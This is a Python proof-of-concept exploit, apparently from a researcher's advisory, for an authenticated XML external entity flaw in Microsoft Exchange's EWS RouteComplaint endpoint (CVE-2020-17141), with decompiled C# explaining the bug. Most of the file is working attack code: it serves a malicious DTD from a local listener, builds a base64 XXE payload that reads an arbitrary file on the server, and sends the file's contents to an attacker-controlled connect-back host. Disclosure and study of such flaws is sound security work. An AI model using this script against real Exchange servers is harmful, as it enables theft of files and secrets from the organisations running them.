#!/usr/bin/env python3
"""
Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure Vulnerability
Advisory: https://srcincite.io/advisories/src-2020-0031/
Patched in: https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17141
## Summary
This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of a RouteComplaint SOAP request to the EWS service endpoint. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.
## Vulnerability Analysis
Inside of the `Microsoft.Exchange.Services.dll` we can see the following class:
```c#
namespace Microsoft.Exchange.Services.Core
{
internal sealed class RouteComplaint : SingleStepServiceCommand<ICallContext, RouteComplaintRequest, RouteComplaintResponseMessage>
{
//...
internal override ServiceResult<RouteComplaintResponseMessage> Execute()
{
if (base.CallContext.EffectiveCaller == null)
{
throw new ArgumentNullException("this.CallContext.EffectiveCaller", "EffectiveCaller must not be null.");
}
this.abuseReportResults = null;
IAbuseReportContext abuseReportContext = this.ParseComplaintData(); // 1
IMailboxSession imailboxSessionBySmtpAddress = base.CallContext.SessionCache.GetIMailboxSessionBySmtpAddress(base.CallContext.EffectiveCaller.PrimarySmtpAddress, false);
IWasclContext wasclContext = new WasclContext(ProtocolClientType.XMRAR, null, null, string.Empty, "");
imailboxSessionBySmtpAddress.WasclContext = wasclContext;
this.abuseReportResults = WasclWrapper.ProcessAbuseReport(abuseReportContext, imailboxSessionBySmtpAddress);
return new ServiceResult<RouteComplaintResponseMessage>(new RouteComplaintResponseMessage(ServiceResultCode.Success, null, this.EncodeComplaintDataForResponse()), ServiceResultCode.Success);
}
// ...
private IAbuseReportContext ParseComplaintData()
{
if (base.Request.Data == null)
{
ExTraceGlobals.GetEventsCallTracer.TraceDebug((long)this.GetHashCode(), "RouteComplaint.Execute - RouteComplaintRequest data is null");
throw new ArgumentNullException("this.complaintData", "ComplaintData must not be null in order to process the abuse report.");
}
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(Encoding.UTF8.GetString(base.Request.Data)); // 2
XmlNode data = xmlDocument.SelectSingleNode("complaintData");
```
At *[1]* we can see the `RouteComplaint.ParseComplaintData` method is called from the `Execute` method and at *[2]* the code uses attacker supplied data in a `LoadXml` to trigger entity processing.
## Proof of Concept
Change anything within the [] brackets.
```
POST /ews/Exchange.asmx HTTP/1.1
Host: [target]
Content-type: text/xml; charset=utf-8
Authentication: [ntlm auth]
Content-Length: [length]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
<soap:Header>
<t:RequestServerVersion Version="Exchange2010_SP2"></t:RequestServerVersion>
</soap:Header>
<soap:Body>
<m:RouteComplaint MessageDisposition="SaveOnly">
<m:Data>[base64 encoded XXE payload]</m:Data>
</m:RouteComplaint>
</soap:Body>
</soap:Envelope>
```
## Example
```
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <connectback ip:port> <file>
(+) eg: ./poc.py 192.168.75.142 harryh@exchangedemo.com:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
researcher@incite:~$ ./poc.py 192.168.75.142 harryh@exchangedemo.com:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
(+) triggered xxe in exchange!
(+) stolen: /leaked?<![CDATA[omgthisisasecret0day]]>
```
"""
import re
import sys
import urllib3
import requests
import urllib.parse
from threading import Thread
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class xxe(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def _set_response(self, d):
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.send_header('Content-Length', len(d))
self.end_headers()
def do_GET(self):
if "leaked" in self.path:
print("(+) stolen: %s" % urllib.parse.unquote(self.path))
message = "<![CDATA[ <![ INCLUDE[]]> ]]>"
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
elif "poc.dtd" in self.path:
print("(+) triggered xxe in exchange!")
message = """
<!ENTITY %% payload "%%start;%%stuff;%%end;">
<!ENTITY %% param1 '<!ENTITY % external SYSTEM "http://%s:%d/leaked?%%payload;">'>
%%param1; %%external;""" % (host, int(port))
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
def main(t, usr, pwd):
server = HTTPServer(('0.0.0.0', int(port)), xxe)
handlerthr = Thread(target=server.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
username = usr.split("@")[0]
domain = usr.split("@")[1]
h = {"Content-type" : "text/xml; charset=utf-8"}
xxe_payload = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY %% start "<![CDATA[">
<!ENTITY %% stuff SYSTEM "file:///%s">
<!ENTITY %% end "]]>">
<!ENTITY %% dtd SYSTEM "http://%s:%d/poc.dtd">
%%dtd;
]>""" % (file, host, int(port))
d = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
<soap:Header>
<t:RequestServerVersion Version="Exchange2010_SP2"></t:RequestServerVersion>
</soap:Header>
<soap:Body>
<m:RouteComplaint MessageDisposition="SaveOnly">
<m:Data>%s</m:Data>
</m:RouteComplaint>
</soap:Body>
</soap:Envelope>""" % b64encode(xxe_payload.encode()).decode("utf-8")
requests.post("https://%s/ews/Exchange.asmx" % t, data=d, headers=h, verify=False, auth=HttpNtlmAuth('%s\\%s' % (domain,username), pwd))
if __name__ == '__main__':
if len(sys.argv) != 5:
print("(+) usage: %s <target> <user:pass> <connectback ip:port> <file>" % sys.argv[0])
print("(+) eg: %s 192.168.75.142 harryh@exchangedemo.com:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split(":")[0]
pwd = sys.argv[2].split(":")[1]
host = sys.argv[3]
port = 9090
file = sys.argv[4]
if ":" in sys.argv[3]:
host = sys.argv[3].split(":")[0]
port = sys.argv[3].split(":")[1]
assert port.isdigit(), "(-) not a port number!"
main(trgt, usr, pwd)
暂无评论